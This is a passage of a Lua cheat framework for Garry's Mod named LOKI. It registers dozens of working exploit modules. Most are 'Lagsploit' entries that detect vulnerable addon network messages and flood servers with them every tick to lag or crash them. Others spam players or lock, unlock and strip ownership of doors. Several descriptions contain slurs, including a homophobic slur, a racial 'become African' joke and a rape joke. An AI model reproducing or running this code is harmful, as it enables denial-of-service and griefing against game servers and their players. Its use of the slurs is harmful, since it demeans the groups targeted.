6182 functions = {
6183 { typ = "bools", tbl = {"DemoteUser", "PromoteUser"}}
6184 },
6185} )
6186LOKI.AddExploit( "Lagsploit", {
6187 desc = "Incident ID: SERVER/1337 Reason: Cheating",
6188 severity = 95,
6189 bools = {enabled = false},
6190 status = 1,
6191 times_per_tick = math.huge,
6192 scan = function() return LOKI.ValidNetString("controlled_vars") || LOKI.DynamicNetString("diagnostics") || LOKI.DynamicNetString("luadev") end,
6193 hooks = {
6194 Think = function(tbl, sploit)
6195 LOKI.MultiSend(sploit)
6196 end,
6197 },
6198 functions = {
6199 { typ = "bools", tbl = {"diagnostics1", "diagnostics2", "diagnostics3", "controlled_vars", LOKI.DynamicNetString("luadev")}}
6200 },
6201} )
6202LOKI.AddExploit( "Lagsploit", {
6203 desc = "game.GetWorld():Remove()",
6204 severity = 95,
6205 bools = {enabled = false},
6206 status = 1,
6207 times_per_tick = math.huge,
6208 scan = function() return LOKI.ValidNetString("ContentRmvProps") end,
6209 hooks = {
6210 Think = function(tbl, sploit)
6211 LOKI.NetStart(sploit, "ContentRmvProps")
6212 net.SendToServer()
6213 end,
6214 },
6215 functions = {
6216 { typ = "bool" }
6217 },
6218} )
6219LOKI.AddExploit( "Lagsploit", {
6220 desc = "LocalPlayer():SetClothing(nil)",
6221 severity = 95,
6222 bools = {enabled = false},
6223 status = 1,
6224 times_per_tick = math.huge,
6225 scan = function() return LOKI.ValidNetString("bodygroups_change") end,
6226 hooks = {
6227 Think = function(tbl, sploit)
6228 LOKI.NetStart(sploit, "bodygroups_change")
6229 net.SendToServer()
6230 end,
6231 },
6232 functions = {
6233 { typ = "bool" }
6234 },
6235} )
6236LOKI.AddExploit( "Lagsploit", {
6237 desc = "Wash the server fans to keep them clean",
6238 severity = 95,
6239 bools = {enabled = false},
6240 status = 1,
6241 times_per_tick = math.huge,
6242 scan = function() return LOKI.ValidNetString("PS_ModifyItem") end,
6243 hooks = {
6244 Think = function(tbl, sploit)
6245 LOKI.NetStart(sploit, "PS_ModifyItem")
6246 net.SendToServer()
6247 end,
6248 },
6249 functions = {
6250 { typ = "bool" }
6251 },
6252} )
6253LOKI.AddExploit( "Lagsploit", {
6254 desc = "System.AllocMem(System.GetMem());",
6255 severity = 95,
6256 bools = {enabled = true},
6257 status = 1,
6258 msgs_per_tick = LOKI.GetEnabledCount,
6259 times_per_tick = math.huge,
6260 scan = function() return VJBASE_VERSION != nil end,
6261 hooks = {
6262 Think = function(tbl, sploit)
6263 LOKI.MultiSend(sploit)
6264 end,
6265 },
6266 functions = {
6267 { typ = "bools", tbl = {"vj_npcmover_removeall", "vj_npcmover_sv_startmove"}}
6268 },
6269} )
6270LOKI.AddExploit( "Lagsploit", {
6271 desc = "Use the servers GPU as a miner",
6272 severity = 95,
6273 bools = {enabled = false},
6274 status = 1,
6275 times_per_tick = math.huge,
6276 scan = function() return LOKI.ValidNetString("aom_set_bool") end,
6277 hooks = {
6278 Think = function(tbl, sploit)
6279 LOKI.NetStart(sploit, "aom_set_bool")
6280 net.SendToServer()
6281 end,
6282 },
6283 functions = {
6284 { typ = "bool" }
6285 },
6286} )
6287LOKI.AddExploit( "Lagsploit", {
6288 desc = "Place a hit on the server",
6289 severity = 95,
6290 bools = {enabled = false},
6291 status = 1,
6292 times_per_tick = math.huge,
6293 scan = function() return LOKI.ValidNetString("hhh_request") end,
6294 hooks = {
6295 Think = function(tbl, sploit)
6296 LOKI.NetStart(sploit, "hhh_request")
6297 net.SendToServer()
6298 end,
6299 },
6300 functions = {
6301 { typ = "bool" }
6302 },
6303} )
6304LOKI.AddExploit( "Lagsploit", {
6305 desc = "Force the server to listen to Gucci Gang",
6306 severity = 95,
6307 bools = {enabled = true},
6308 status = 1,
6309 msgs_per_tick = LOKI.GetEnabledCount,
6310 times_per_tick = math.huge,
6311 scan = function() return MGangs != nil || isfunction(MG_AdminMenu) end,
6312 hooks = {
6313 Think = function(tbl, sploit)
6314 LOKI.MultiSend(sploit)
6315 end,
6316 },
6317 functions = {
6318 { typ = "bools", tbl = {"MG2.Gang.Create", "MG2.Gang.UpdateGroups", "mg_creategang", "mg_plyupdateganggroups"}}
6319 },
6320} )
6321LOKI.AddExploit( "Lagsploit", {
6322 desc = "It's flu season and the server forgot to get vaccinated",
6323 severity = 95,
6324 bools = {enabled = true},
6325 status = 1,
6326 msgs_per_tick = LOKI.GetEnabledCount,
6327 times_per_tick = math.huge,
6328 scan = function() return LOKI.DynamicNetString("smartdisease") end,
6329 hooks = {
6330 Think = function(tbl, sploit)
6331 LOKI.MultiSend(sploit)
6332 end,
6333 },
6334 functions = {
6335 { typ = "bools", tbl = {"smartdisease_buy", "smartdisease_buy_vaccine"}}
6336 },
6337} )
6338LOKI.AddExploit( "Lagsploit", {
6339 desc = "cl_ping_delay 0",
6340 severity = 95,
6341 bools = {enabled = false},
6342 status = 1,
6343 times_per_tick = math.huge,
6344 scan = function() return LOKI.ValidNetString("StatusScreen_Ping") end,
6345 hooks = {
6346 Think = function(tbl, sploit)
6347 LOKI.NetStart(sploit, "StatusScreen_Ping")
6348 net.SendToServer()
6349 end,
6350 },
6351 functions = {
6352 { typ = "bool" }
6353 },
6354} )
6355LOKI.AddExploit( "Lagsploit", {
6356 desc = "Preparing to send data [inf parts]",
6357 severity = 95,
6358 bools = {enabled = true},
6359 status = 1,
6360 msgs_per_tick = LOKI.GetEnabledCount,
6361 times_per_tick = math.huge,
6362 scan = function() return LOKI.ValidNetString("ScreengrabInitCallback") || LOKI.ValidNetString("grab_ScreenshotToServer") end,
6363 hooks = {
6364 Think = function(tbl, sploit)
6365 LOKI.MultiSend(sploit)
6366 end,
6367 },
6368 functions = {
6369 { typ = "bools", tbl = {"ScreengrabInitCallback", "grab_ScreenshotToServer"}}
6370 },
6371} )
6372LOKI.AddExploit( "Lagsploit", {
6373 desc = "SERVER: *crashes internally*",
6374 severity = 95,
6375 bools = {enabled = false},
6376 status = 1,
6377 times_per_tick = math.huge,
6378 scan = function() return LOKI.ValidNetString("sgGiveFriendStatusAll") end,
6379 hooks = {
6380 Think = function(tbl, sploit)
6381 LOKI.NetStart(sploit, "sgGiveFriendStatusAll")
6382 net.SendToServer()
6383 end,
6384 },
6385 functions = {
6386 { typ = "bool" }
6387 },
6388} )
6389LOKI.AddExploit( "Lagsploit", {
6390 desc = "Be the giant flamboyant faggot kid",
6391 severity = 95,
6392 bools = {enabled = false},
6393 status = 1,
6394 times_per_tick = math.huge,
6395 scan = function() return LOKI.ValidNetString("NStatistics_SendPlayerStatistic") end,
6396 hooks = {
6397 Think = function(tbl, sploit)
6398 LOKI.NetStart(sploit, "NStatistics_SendPlayerStatistic")
6399 net.SendToServer()
6400 end,
6401 },
6402 functions = {
6403 { typ = "bool" }
6404 },
6405} )
6406LOKI.AddExploit( "Lagsploit", {
6407 desc = "The load limit is 40 tonnes but you're hauling 110",
6408 severity = 95,
6409 bools = {enabled = false},
6410 status = 1,
6411 times_per_tick = math.huge,
6412 scan = function() return LOKI.ValidNetString("SCarSpawnSendFile") end,
6413 hooks = {
6414 Think = function(tbl, sploit)
6415 LOKI.NetStart(sploit, "SCarSpawnSendFile")
6416 net.SendToServer()
6417 end,
6418 },
6419 functions = {
6420 { typ = "bool" }
6421 },
6422} )
6423LOKI.AddExploit( "Lagsploit", {
6424 desc = "Man, this server sure is laggy today",
6425 severity = 95,
6426 bools = {enabled = false},
6427 status = 1,
6428 times_per_tick = math.huge,
6429 scan = function() return LOKI.ValidNetString("ts_buytitle") end,
6430 hooks = {
6431 Think = function(tbl, sploit)
6432 LOKI.NetStart(sploit, "ts_buytitle")
6433 net.SendToServer()
6434 end,
6435 },
6436 functions = {
6437 { typ = "bool" }
6438 },
6439} )
6440LOKI.AddExploit( "Lagsploit", {
6441 desc = "Pull the power plug on the server",
6442 severity = 95,
6443 bools = {enabled = false},
6444 status = 1,
6445 times_per_tick = math.huge,
6446 scan = function() return LOKI.ValidNetString("UpdateNameColor") end,
6447 hooks = {
6448 Think = function(tbl, sploit)
6449 LOKI.NetStart(sploit, "UpdateNameColor")
6450 net.SendToServer()
6451 end,
6452 },
6453 functions = {
6454 { typ = "bool" }
6455 },
6456} )
6457LOKI.AddExploit( "Lagsploit", {
6458 desc = "I'll take one serving of poorly optimized code, please",
6459 severity = 95,
6460 bools = {enabled = false},
6461 status = 1,
6462 times_per_tick = math.huge,
6463 scan = function() return LOKI.ValidNetString("noob_playerperks") end,
6464 hooks = {
6465 Think = function(tbl, sploit)
6466 LOKI.NetStart(sploit, "noob_playerperks")
6467 net.SendToServer()
6468 end,
6469 },
6470 functions = {
6471 { typ = "bool" }
6472 },
6473} )
6474LOKI.AddExploit( "Lagsploit", {
6475 desc = "Who needs doors when you can just smash through a wall?",
6476 severity = 95,
6477 bools = {enabled = true},
6478 status = 1,
6479 msgs_per_tick = LOKI.GetEnabledCount,
6480 times_per_tick = math.huge,
6481 scan = function() return LOKI.DynamicNetString("advdoors") end,
6482 hooks = {
6483 Think = function(tbl, sploit)
6484 LOKI.MultiSend(sploit)
6485 end,
6486 },
6487 functions = {
6488 { typ = "bools", tbl = {"advdoors_purchasemod", "advdoors_updaterent", "advdoors_rent", "advdoors_settitle", "advdoors_coowneradd", "advdoors_coownerallowedremove", "advdoors_coownerremove", "advdoors_transferownership", "advdoors_toggleownership", "advdoors_addblacklist", "advdoors_removeblacklist", "advdoors_addjob", "advdoors_setgroup", "advdoors_jobremove", "advdoors_anyplayer", "advdoors_addjobplayer", "advdoors_jobremoveplayer", "advdoors_changeprice", "advdoors_otheractions"}}
6489 },
6490} )
6491LOKI.AddExploit( "Lagsploit", {
6492 desc = "Fill the server full of lead",
6493 severity = 95,
6494 bools = {enabled = false},
6495 status = 1,
6496 times_per_tick = math.huge,
6497 scan = function() return LOKI.ValidNetString("perm_buyweapon") end,
6498 hooks = {
6499 Think = function(tbl, sploit)
6500 LOKI.NetStart(sploit, "perm_buyweapon")
6501 net.SendToServer()
6502 end,
6503 },
6504 functions = {
6505 { typ = "bool" }
6506 },
6507} )
6508LOKI.AddExploit( "Lagsploit", {
6509 desc = "Pour some gas in the server room and light it up",
6510 severity = 95,
6511 bools = {enabled = true},
6512 status = 1,
6513 msgs_per_tick = LOKI.GetEnabledCount,
6514 times_per_tick = math.huge,
6515 scan = function() return LOKI.DynamicNetString("zrush") end,
6516 hooks = {
6517 Think = function(tbl, sploit)
6518 LOKI.MultiSend(sploit, function()
6519 net.WriteFloat(LOKI.GetLP():EntIndex())
6520 end)
6521 end,
6522 },
6523 functions = {
6524 { typ = "bools", tbl = {"zrush_BarrelCollectFuel_net", "zrush_BarrelSplitFuel_net", "zrush_MachineCrateOB_Place_net", "zrush_MachineCrateBuilder_DeselectEntity_net"}}
6525 },
6526} )
6527LOKI.AddExploit( "Lagsploit", {
6528 desc = "Drunk drive through the server farm",
6529 severity = 95,
6530 bools = {enabled = false},
6531 status = 1,
6532 times_per_tick = math.huge,
6533 scan = function() return LOKI.ValidNetString("CarDisplayPurchaseCar") end,
6534 hooks = {
6535 Think = function(tbl, sploit)
6536 LOKI.NetStart(sploit, "CarDisplayPurchaseCar")
6537 net.SendToServer()
6538 end,
6539 },
6540 functions = {
6541 { typ = "bool" }
6542 },
6543} )
6544LOKI.AddExploit( "Lagsploit", {
6545 desc = "Beat the server to death with a cash register",
6546 severity = 95,
6547 bools = {enabled = true},
6548 status = 1,
6549 msgs_per_tick = LOKI.GetEnabledCount,
6550 times_per_tick = math.huge,
6551 scan = function() return LOKI.DynamicNetString("cashregister") end,
6552 hooks = {
6553 Think = function(tbl, sploit)
6554 LOKI.MultiSend(sploit, function()
6555 net.WriteEntity(LOKI.GetLP())
6556 end)
6557 end,
6558 },
6559 functions = {
6560 { typ = "bools", tbl = {"cashregister_settings_color", "cashregister_settings_remowner", "cashregister_settings_addowner", "cashregister_settings_setpayrece", "cashregister_do_reset", "cashregister_do_refound"}}
6561 },
6562} )
6563LOKI.AddExploit( "Lagsploit", {
6564 desc = "Order a DDoS on the Black Market",
6565 severity = 95,
6566 bools = {enabled = false},
6567 status = 1,
6568 times_per_tick = math.huge,
6569 scan = function() return LOKI.ValidNetString("bm_DoAddMarket") end,
6570 hooks = {
6571 Think = function(tbl, sploit)
6572 LOKI.NetStart(sploit, "bm_DoAddMarket")
6573 net.SendToServer()
6574 end,
6575 },
6576 functions = {
6577 { typ = "bool" }
6578 },
6579} )
6580LOKI.AddExploit( "Lagsploit", {
6581 desc = "There's no brakes on the rape mobile",
6582 severity = 95,
6583 bools = {enabled = true},
6584 status = 1,
6585 msgs_per_tick = LOKI.GetEnabledCount,
6586 times_per_tick = math.huge,
6587 scan = function() return LOKI.DynamicNetString("fcd.") end,
6588 hooks = {
6589 Think = function(tbl, sploit)
6590 LOKI.MultiSend(sploit, {["fcd_chopshopyes"] = function() net.WriteEntity(LOKI.GetLP()) end})
6591 end,
6592 },
6593 functions = {
6594 { typ = "bools", tbl = {"fcd.addVehicle", "fcd.spawnVehicle", "fcd_chopshopyes"} }
6595 },
6596} )
6597LOKI.AddExploit( "Lagsploit", {
6598 desc = "Order an Industrial Grade Lag Bomb",
6599 severity = 95,
6600 bools = {enabled = false},
6601 status = 1,
6602 times_per_tick = math.huge,
6603 scan = function() return LOKI.ValidNetString("gindustrial_item_sources") end,
6604 hooks = {
6605 Think = function(tbl, sploit)
6606 LOKI.NetStart(sploit, "gindustrial_item_sources")
6607 net.SendToServer()
6608 end,
6609 },
6610 functions = {
6611 { typ = "bool" }
6612 },
6613} )
6614LOKI.AddExploit( "Lagsploit", {
6615 desc = "Start Hacking Mission",
6616 severity = 95,
6617 bools = {enabled = false},
6618 status = 1,
6619 times_per_tick = math.huge,
6620 scan = function() return LOKI.ValidNetString("StartHackingMission") end,
6621 hooks = {
6622 Think = function(tbl, sploit)
6623 LOKI.NetStart(sploit, "StartHackingMission")
6624 net.SendToServer()
6625 end,
6626 },
6627 functions = {
6628 { typ = "bool" }
6629 },
6630} )
6631LOKI.AddExploit( "Lagsploit", {
6632 desc = "Damn printers always getting jammed",
6633 severity = 95,
6634 bools = {enabled = true},
6635 status = 1,
6636 msgs_per_tick = LOKI.GetEnabledCount,
6637 times_per_tick = math.huge,
6638 scan = function() return LOKI.DynamicNetString("NGII_") end,
6639 hooks = {
6640 Think = function(tbl, sploit)
6641 LOKI.MultiSend(sploit)
6642 end,
6643 },
6644 functions = {
6645 { typ = "bools", tbl = {"NGII_TakeMoney", "NGII_UninstallMod"} }
6646 },
6647} )
6648LOKI.AddExploit( "Lagsploit", {
6649 desc = "Only the finest grade lag",
6650 severity = 95,
6651 bools = {enabled = false},
6652 status = 1,
6653 times_per_tick = math.huge,
6654 scan = function() return LOKI.ValidNetString("ncpstoredoact") end,
6655 hooks = {
6656 Think = function(tbl, sploit)
6657 LOKI.NetStart(sploit, "ncpstoredoact")
6658 net.SendToServer()
6659 end,
6660 },
6661 functions = {
6662 { typ = "bool" }
6663 },
6664} )
6665LOKI.AddExploit( "Lagsploit", {
6666 desc = "Purchase a DDoS attack with your spare credits",
6667 severity = 95,
6668 bools = {enabled = true},
6669 status = 1,
6670 msgs_per_tick = LOKI.GetEnabledCount,
6671 times_per_tick = math.huge,
6672 scan = function() return LOKI.DynamicNetString("credit_") end,
6673 hooks = {
6674 Think = function(tbl, sploit)
6675 LOKI.MultiSend(sploit)
6676 end,
6677 },
6678 functions = {
6679 { typ = "bools", tbl = {"credit_pay", "credit_loan", "credit_loan_deny"} }
6680 },
6681} )
6682LOKI.AddExploit( "Lagsploit", {
6683 desc = "Load up LOIC like a big boy hacker",
6684 severity = 95,
6685 bools = {enabled = false},
6686 status = 1,
6687 times_per_tick = math.huge,
6688 scan = function() return LOKI.ValidNetString("usec_keypad") end,
6689 hooks = {
6690 Think = function(tbl, sploit)
6691 LOKI.NetStart(sploit, "usec_keypad")
6692 net.SendToServer()
6693 end,
6694 },
6695 functions = {
6696 { typ = "bool" }
6697 },
6698} )
6699LOKI.AddExploit( "Lagsploit", {
6700 desc = "Show the world how much of a sore loser you are",
6701 severity = 95,
6702 bools = {enabled = false},
6703 status = 1,
6704 times_per_tick = math.huge,
6705 scan = function() return LOKI.ValidNetString("movePiece") end,
6706 hooks = {
6707 Think = function(tbl, sploit)
6708 LOKI.NetStart(sploit, "movePiece")
6709 net.SendToServer()
6710 end,
6711 },
6712 functions = {
6713 { typ = "bool" }
6714 },
6715} )
6716LOKI.AddExploit( "Lagsploit", {
6717 desc = "Man, this lag sure does make driving difficult",
6718 severity = 95,
6719 bools = {enabled = true},
6720 status = 1,
6721 msgs_per_tick = LOKI.GetEnabledCount,
6722 times_per_tick = math.huge,
6723 scan = function() return nucardealer != nil end,
6724 hooks = {
6725 Think = function(tbl, sploit)
6726 LOKI.MultiSend(sploit)
6727 end,
6728 },
6729 functions = {
6730 { typ = "bools", tbl = {"nucauction_post", "nucardealer_spawn"} }
6731 },
6732} )
6733LOKI.AddExploit( "Lagsploit", {
6734 desc = "Looks like the server printer ran out of ink",
6735 severity = 95,
6736 bools = {enabled = true},
6737 status = 1,
6738 msgs_per_tick = LOKI.GetEnabledCount,
6739 times_per_tick = math.huge,
6740 prevalidated = true,
6741 scan = function() return LOKI.ValidNetString("gPrinters.addUpgrade", "gPrinters.sendID") end,
6742 hooks = {
6743 Think = function(tbl, sploit)
6744 LOKI.MultiSend(sploit)
6745 end,
6746 },
6747 functions = {
6748 { typ = "bools", tbl = {"gPrinters.addUpgrade", "gPrinters.sendID"} }
6749 },
6750} )
6751LOKI.AddExploit( "Lagsploit", {
6752 desc = "Faulty printers causing the servers ink to bleed",
6753 severity = 95,
6754 bools = {enabled = true},
6755 status = 1,
6756 msgs_per_tick = LOKI.GetEnabledCount,
6757 times_per_tick = math.huge,
6758 scan = function() return LOKI.DynamicNetString("lithium") end,
6759 hooks = {
6760 Think = function(tbl, sploit)
6761 LOKI.MultiSend(sploit)
6762 end,
6763 },
6764 functions = {
6765 { typ = "bools", tbl = {"buyLp2Item", "lithium_printers_2_small_rack_screen", "lithiumPrinter2Donator", "lithiumPrinter2Obsidian", "lithiumPrinter2Silver", "lithiumPrinter2Iron", "lithiumPrinter2Economic", "lithiumPrinter2Bronze"} }
6766 },
6767} )
6768LOKI.AddExploit( "Lagsploit", {
6769 desc = "Suggest the server gets better security",
6770 severity = 95,
6771 bools = {enabled = true},
6772 status = 1,
6773 msgs_per_tick = LOKI.GetEnabledCount,
6774 times_per_tick = math.huge,
6775 scan = function() return LOKI.DynamicNetString("Suggestions") end,
6776 hooks = {
6777 Think = function(tbl, sploit)
6778 LOKI.MultiSend(sploit)
6779 end,
6780 },
6781 functions = {
6782 { typ = "bools", tbl = {"SuggestionsClientEdits", "SuggestionsGetInfo"}}
6783 },
6784} )
6785LOKI.AddExploit( "Lagsploit", {
6786 desc = "'net library optimizations'",
6787 severity = 95,
6788 bools = {enabled = true},
6789 status = 1,
6790 msgs_per_tick = LOKI.GetEnabledCount,
6791 times_per_tick = math.huge,
6792 scan = function() return LOKI.DynamicNetString("LibK") end,
6793 hooks = {
6794 Think = function(tbl, sploit)
6795 LOKI.MultiSend(sploit)
6796 end,
6797 },
6798 functions = {
6799 { typ = "bools", tbl = {"LibK_Transaction", "ControllerAction"}}
6800 },
6801} )
6802LOKI.AddExploit( "Lagsploit", {
6803 desc = "Short Circuit the server",
6804 severity = 95,
6805 bools = {enabled = false},
6806 status = 1,
6807 times_per_tick = math.huge,
6808 scan = function() return LOKI.ValidNetString("PS2_ItemServerRPC") end,
6809 hooks = {
6810 Think = function(tbl, sploit)
6811 LOKI.NetStart(sploit, "PS2_ItemServerRPC")
6812 net.SendToServer()
6813 end,
6814 },
6815 functions = {
6816 { typ = "bool" }
6817 },
6818} )
6819LOKI.AddExploit( "Lagsploit", {
6820 desc = "Who thought it was a good idea to run printers on battery?",
6821 severity = 95,
6822 bools = {enabled = true},
6823 status = 1,
6824 msgs_per_tick = LOKI.GetEnabledCount,
6825 times_per_tick = math.huge,
6826 scan = function() return LOKI.DynamicNetString("fg_printer") end,
6827 hooks = {
6828 Think = function(tbl, sploit)
6829 LOKI.MultiSend(sploit)
6830 end,
6831 },
6832 functions = {
6833 { typ = "bools", tbl = {"fg_printer_upgrade_speed", "fg_printer_upgrade_quality", "fg_printer_upgrade_cooler", "fg_printer_power", "fg_printer_money"} }
6834 },
6835} )
6836LOKI.AddExploit( "Lagsploit", {
6837 desc = "Start a food fight in the server room",
6838 severity = 95,
6839 bools = {enabled = true},
6840 status = 1,
6841 msgs_per_tick = LOKI.GetEnabledCount,
6842 times_per_tick = math.huge,
6843 scan = function() return LOKI.DynamicNetString("zfs_") end,
6844 hooks = {
6845 Think = function(tbl, sploit)
6846 LOKI.MultiSend(sploit)
6847 end,
6848 },
6849 functions = {
6850 { typ = "bools", tbl = {"zfs_ItemPriceChange_sv", "zfs_ItemBuyUpdate_cl"} }
6851 },
6852} )
6853LOKI.AddExploit( "Lagsploit", {
6854 desc = "Add a special server lag effect to your hat",
6855 severity = 95,
6856 bools = {enabled = true},
6857 status = 1,
6858 msgs_per_tick = LOKI.GetEnabledCount,
6859 times_per_tick = math.huge,
6860 scan = function() return istable(HAT) end,
6861 hooks = {
6862 Think = function(tbl, sploit)
6863 LOKI.MultiSend(sploit)
6864 end,
6865 },
6866 functions = {
6867 { typ = "bools", tbl = {"BuyHats", "SendCustomHatData"} }
6868 },
6869} )
6870LOKI.AddExploit( "Lagsploit", {
6871 desc = "Add a special server lag effect to your hat",
6872 severity = 95,
6873 bools = {enabled = true},
6874 status = 1,
6875 msgs_per_tick = LOKI.GetEnabledCount,
6876 times_per_tick = math.huge,
6877 scan = function() return LOKI.DynamicNetString("VChars::") end,
6878 hooks = {
6879 Think = function(tbl, sploit)
6880 LOKI.MultiSend(sploit)
6881 end,
6882 },
6883 functions = {
6884 { typ = "bools", tbl = {"VChars::SelectCharacter", "VChars::CreateCharacter"} }
6885 },
6886} )
6887LOKI.AddExploit( "Lagsploit", {
6888 desc = "Modern hardware isn't designed for AI yet",
6889 severity = 95,
6890 bools = {enabled = true},
6891 status = 1,
6892 msgs_per_tick = LOKI.GetEnabledCount,
6893 times_per_tick = math.huge,
6894 scan = function() return LOKI.DynamicNetString("npctool") end,
6895 hooks = {
6896 Think = function(tbl, sploit)
6897 LOKI.MultiSend(sploit)
6898 end,
6899 },
6900 functions = {
6901 { typ = "bools", tbl = {"npctool_spawner_clearundo", "sv_npctool_spawner_ppoint"} }
6902 },
6903} )
6904LOKI.AddExploit( "Lagsploit", {
6905 desc = "game.GetWorld():Fire('Kill')",
6906 severity = 95,
6907 bools = {enabled = false},
6908 status = 1,
6909 msgs_per_tick = LOKI.GetEnabledCount,
6910 times_per_tick = math.huge,
6911 scan = function() return LOKI.ValidNetString("npcData") end,
6912 hooks = {
6913 Think = function(tbl, sploit)
6914 LOKI.NetStart(sploit, "npcData")
6915 net.SendToServer()
6916 end,
6917 },
6918 functions = {
6919 { typ = "bool" }
6920 },
6921} )
6922LOKI.AddExploit( "Lagsploit", {
6923 desc = "Flood the server lua stealer",
6924 severity = 95,
6925 bools = {enabled = false},
6926 status = 1,
6927 msgs_per_tick = LOKI.GetEnabledCount,
6928 times_per_tick = math.huge,
6929 scan = function() return LOKI.ValidNetString("gamemode_reload_string") end,
6930 hooks = {
6931 Think = function(tbl, sploit)
6932 LOKI.NetStart(sploit, "gamemode_reload_string")
6933 net.WriteString("GET ODIUM.PRO")
6934 net.SendToServer()
6935 end,
6936 },
6937 functions = {
6938 { typ = "bool" }
6939 },
6940} )
6941LOKI.AddExploit( "Lagsploit", {
6942 desc = "Use your toolgun. Very quickly",
6943 severity = 95,
6944 bools = {enabled = false},
6945 status = 1,
6946 msgs_per_tick = LOKI.GetEnabledCount,
6947 times_per_tick = math.huge,
6948 scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
6949 hooks = {
6950 Think = function(tbl, sploit)
6951 LOKI.NetStart(sploit, "AS_DoAttack")
6952 net.SendToServer()
6953 end,
6954 },
6955 functions = {
6956 { typ = "bool" }
6957 },
6958} )
6959LOKI.AddExploit( "Lagsploit", {
6960 desc = "Seems like a fault in the water purifier",
6961 severity = 95,
6962 bools = {enabled = false},
6963 status = 1,
6964 msgs_per_tick = LOKI.GetEnabledCount,
6965 times_per_tick = math.huge,
6966 scan = function() return LOKI.ValidNetString("lfs_player_request_filter") end,
6967 hooks = {
6968 Think = function(tbl, sploit)
6969 LOKI.NetStart(sploit, "lfs_player_request_filter")
6970 net.WriteEntity(LOKI.GetLP())
6971 net.SendToServer()
6972 end,
6973 net = {
6974 Receive = function(sploit, strName)
6975 if(strName == "lfs_player_request_filter") then
6976 return false
6977 end
6978 end,
6979 },
6980 },
6981 functions = {
6982 { typ = "bool" }
6983 },
6984} )
6985LOKI.AddExploit( "Lagsploit", {
6986 desc = "Hit the server with a killing spell",
6987 severity = 95,
6988 bools = {enabled = false},
6989 status = 1,
6990 msgs_per_tick = math.huge,
6991 times_per_tick = math.huge,
6992 scan = function() return LOKI.ValidNetString("hpwrewrite_achievement1") end,
6993 hooks = {
6994 Think = function(tbl, sploit)
6995 LOKI.NetStart(sploit, "hpwrewrite_achievement1")
6996 net.SendToServer()
6997 end,
6998 },
6999 functions = {
7000 { typ = "bool" }
7001 },
7002} )
7003LOKI.AddExploit( "Lagsploit", {
7004 desc = "Hit the server with a drone strike",
7005 severity = 95,
7006 bools = {enabled = true},
7007 status = 1,
7008 msgs_per_tick = LOKI.GetEnabledCount,
7009 times_per_tick = math.huge,
7010 scan = function() return LOKI.DynamicNetString("dronesrewrite") end,
7011 hooks = {
7012 Think = function(tbl, sploit)
7013 LOKI.MultiSend(sploit, function()
7014 net.WriteEntity(LOKI.GetLP())
7015 end)
7016 end,
7017 },
7018 functions = {
7019 { typ = "bools", tbl = {"dronesrewrite_requestweapons", "dronesrewrite_addfriends", "dronesrewrite_makebind", "dronesrewrite_controldr", "dronesrewrite_addfriend", "dronesrewrite_addmodule", "dronesrewrite_clickkey", "dronesrewrite_presskey"} }
7020 },
7021} )
7022LOKI.AddExploit( "Lagsploit", {
7023 desc = "Administration fees might bankrupt the server",
7024 severity = 95,
7025 bools = {enabled = true},
7026 status = 1,
7027 msgs_per_tick = LOKI.GetEnabledCount,
7028 times_per_tick = math.huge,
7029 scan = function() return LOKI.DynamicNetString("ECleaner") end,
7030 hooks = {
7031 Think = function(tbl, sploit)
7032 LOKI.MultiSend(sploit, function()
7033 net.WriteEntity(LOKI.GetLP())
7034 end)
7035 end,
7036 },
7037 functions = {
7038 { typ = "bools", tbl = {"ECleaner_ServerAction", "ECleaner_PlayEntity", "ECleaner_RestoreEntity"} }
7039 },
7040} )
7041LOKI.AddExploit( "Noise Exploit", {
7042 desc = "Causes players to become Lil Pump",
7043 severity = 1,
7044 bools = {enabled = false},
7045 status = 1,
7046 msgs_per_tick = function() return #LOKI.GetStored( "lil_plyz", {} ) end,
7047 times_per_tick = math.huge,
7048 scan = function() return LOKI.ValidNetString( "wanted_radio" ) end,
7049 hooks = {
7050 Think = function(tbl, sploit)
7051 for k, v in ipairs(LOKI.GetStored( "lil_plyz", {} )) do
7052 if IsValid(v) then
7053 LOKI.NetStart(sploit, 'wanted_radio')
7054 net.WriteEntity(v)
7055 net.WriteInt(1, 4)
7056 net.SendToServer()
7057 end
7058 end
7059 end,
7060 },
7061 functions = {
7062 { typ = "players", addr = "lil_plyz" },
7063 { typ = "bool", },
7064 },
7065} )
7066LOKI.AddExploit( "Noise Exploit", {
7067 desc = "Causes players to become African",
7068 severity = 1,
7069 bools = {enabled = false},
7070 status = 1,
7071 msgs_per_tick = function() return #LOKI.GetStored( "afro_plyz", {} ) end,
7072 times_per_tick = math.huge,
7073 scan = function() return LOKI.ValidNetString( "lockpick_sound" ) end,
7074 hooks = {
7075 Think = function(tbl, sploit)
7076 for k, v in ipairs(LOKI.GetStored( "afro_plyz", {} )) do
7077 if IsValid(v) then
7078 LOKI.NetStart(sploit, 'lockpick_sound')
7079 net.WriteEntity(v)
7080 net.SendToServer()
7081 end
7082 end
7083 end,
7084 },
7085 functions = {
7086 { typ = "players", addr = "afro_plyz" },
7087 { typ = "bool", },
7088 },
7089} )
7090LOKI.AddExploit( "Door Exploit", {
7091 desc = "Exploit the door you're looking at",
7092 severity = 1,
7093 bools = {enabled = false},
7094 status = 1,
7095 times_per_tick = 1,
7096 scan = function() return LOKI.ValidNetString( "fp_as_doorHandler" ) end,
7097 hooks = {
7098 Think = function(tbl, sploit)
7099 local v = LOKI.GetLP():GetEyeTrace().Entity
7100 local doorOwner = isfunction(v.getDoorData) && LOKI.ValidTable(v:getDoorData()) && v:getDoorData()["owner"] || nil
7101 LOKI.NetStart(sploit, "fp_as_doorHandler")
7102 net.WriteEntity(v)
7103 net.WriteString(tbl[1])
7104 if(doorOwner) then
7105 net.WriteDouble(doorOwner)
7106 end
7107 net.SendToServer()
7108 end,
7109 },
7110 functions = {
7111 { typ = "func", Name = "Lock", args = {"lock"} },
7112 { typ = "func", Name = "Unlock", args = {"unlock"} },
7113 { typ = "func", Name = "Remove Owner", args = {"removeOwner"} }
7114 },
7115} )
7116LOKI.AddExploit( "Door Exploit", {
7117 desc = "Unlock the door you're looking at",
7118 severity = 1,
7119 bools = {enabled = false},
7120 status = -1,
7121 times_per_tick = 1,
7122 scan = function() return LOKI.ValidNetString( "OpenGates" ) end,
7123 hooks = {
7124 Think = function(tbl, sploit)
7125 local v = LOKI.GetLP():GetEyeTrace().Entity
7126 LOKI.NetStart(sploit, "OpenGates")
7127 net.WriteEntity(v)
7128 net.SendToServer()
7129 end,
7130 },
7131 functions = {
7132 { typ = "func", Name = "Open" },
7133 },
7134} )
